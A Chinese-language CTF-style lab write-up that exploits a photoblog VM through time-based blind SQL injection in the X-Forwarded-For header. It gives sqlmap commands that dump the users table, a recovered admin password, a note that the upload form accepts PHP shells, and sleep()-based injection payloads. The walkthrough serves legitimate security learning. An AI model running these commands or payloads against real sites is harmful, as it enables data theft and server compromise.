XFF 基于时间的盲注

正文索引 [隐藏]

解题过程

1. 日常扫描

本机情况

1565251711909

局域网情况

1565251772822

锁定靶机位置:192.168.66.68

端口开放情况

1565251843767

只开放 80 口,纯 HTTP,打开网页瞅一眼,Admin 那个登陆口一会儿看一下

1565252065018

http 扫描

1565252278965

看见 /admin/upload 这个东西,试试能不能传 shell 上去,但是需要登陆

1565252614072

试了一下 admin 弱口令,显然不行,得挖密码。。。用 Acunetix 扫一扫试试:

1565255383791

hhhh,扫出来注入点了,emmm,sleep()。。。基于时间的盲注,是 XFF header 的问题,用 sqlmap 扫去,这得等一阵了。

2. XFF 盲注

sqlmap -u http://192.168.66.68 --headers=X-Forwarded-For:* --dbs --batch

1565261410761

sqlmap -u http://192.168.66.68 --headers=X-Forwarded-For:* -D photoblog --tables --batch

1565261710951

sqlmap -u http://192.168.66.68 --headers=X-Forwarded-For:* -D photoblog -T users --columns --batch

1565262188948

sqlmap -u http://192.168.66.68 --headers=X-Forwarded-For:* -D photoblog -T users -C login --dump --batch

1565262811054

sqlmap -u http://192.168.66.68 --headers=X-Forwarded-For:* -D photoblog -T users -C password --dump --batch

1565262656944

用户名 admin,密码 P4ssw0rd。。。感觉可以直接爆粗来啊。。。。

试下,用 burpsuite 抓个请求包扔到 Intruder 里面爆密码去,用 rockyou.txt 爆就行啦(虚拟机蜗牛速度就不尝试啦)

1565263441427

成功登陆:

1565266232345

就一个简单文件上传漏洞,也没啥限制,.PHP 都能传上去,传个恶意脚本上去就能进主机了,也不用提权,直接就能拿到 flag~ 不废话啦

知识储备

1. X-Forwarded-For

功能:表示 HTTP 请求端的真实 IP,每过一层代理服务器,该 header 后添加其 ip 地址

性质:HTTP 扩展 header

格式

X-Forwarded-For: client, proxy1, proxy2

弱点

  • 伪造 X-Forwarded-For:
    • 一般的客户端(例如浏览器)发送HTTP请求是没有X-Forwarded-For头的,当请求到达第一个代理服务器时,代理服务器会加上X-Forwarded-For请求头,并将值设为客户端的IP地址(也就是最左边第一个值),后面如果还有多个代理,会依次将IP追加到X-Forwarded-For头最右边,最终请求到达Web应用服务器,应用通过获取X-Fowarded-For头取左边第一个IP即为客户端真实IP
    • 但是如果客户端在发起请求时,请求头上带上一个伪造的X-Forwarded-For,由于后续每层代理只会追加而不会覆盖,那么最终到达应用服务器时,获取的左边第一个IP地址将会是客户端伪造的IP。也就是上面的Java代码中getClientIp()方法获取的IP地址很有可能是伪造的IP地址,如果一个投票系统用这种方式做的IP限制,那么很容易会被刷票。
  • 有可能存在注入点

2. 基于时间的盲注

场景:有些网站它不回显错误页面,这里就需要基于时间的注入

特点:速度很慢

原理:使用 sleep() 函数,利用页面响应时间差异进行注入

例如,select from users where id=1 and sleep(3); / 3秒之后执行SQL语句*/
如果成功注入,则页面响应回延迟三秒,否则立即响应

  1. 查询当前用户,并获取字符串长度

    and if length(user()) = 0, sleep(3), 1)
    循环0,如果出现3秒延时就可以判断出user字符串的长度,注入时通常会采用半折算法减少判断。

  2. 截取字符串第一个字符,并且转换为asicc码

and if (hex(mid (user(),1,1) ) =1,sleep(3),1)
取出use字符串的第一个字符,然后与ASCII码循环对比

  1. 将第一个字符的ASCII与ASCII码表对比,如果对比成功将延迟 3 秒

将第一个字符的ASCII与ASCII码表对比,如果对比成功将延迟3秒